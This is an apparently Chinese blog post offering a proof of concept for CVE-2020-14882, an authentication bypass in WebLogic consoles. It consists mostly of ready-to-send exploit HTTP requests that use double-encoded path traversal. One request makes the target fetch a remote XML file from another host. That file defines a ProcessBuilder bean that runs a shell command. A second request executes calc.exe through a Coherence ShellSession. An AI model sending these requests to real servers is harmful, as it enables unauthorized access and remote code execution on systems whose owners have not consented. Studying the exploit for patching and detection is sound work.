weblogic 越权绕过登录POC(CVE-2020-14882)

  • A+
所属分类:javasec_cn
摘要

漏洞利用为7001端口weblogic 10利用方式pom.xmlweblogic12

漏洞利用为7001端口

weblogic 10利用方式

 GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.8.142/poc.xml); HTTP/1.1 Host: 192.168.3.189:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: ADM Upgrade-Insecure-Requests: 1 

pom.xml

<?xml version="1.0" encoding="UTF-8" ?>     <beans xmlns="http://www.springframework.org/schema/beans"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="      
"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>sh</value> <value>-c</value> <value><![CDATA[touch /tmp/10poc1]]></value> </list> </constructor-arg> </bean> </beans>

weblogic12

 GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1 Host: 192.168.3.189:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: ADM Upgrade-Insecure-Requests: 1  

参考文章

  • https://www.cnblogs.com/potatsoSec/p/13895120.html

相关推荐: Apache Shiro 权限绕过漏洞分析(CVE-2020-13933)

漏洞简述 Apahce Shiro 由于处理身份验证请求时出错 存在 权限绕过漏洞,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。 风险等级 高危 影响版本 Apache Shiro < 1.6.0 漏洞详情 shi…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: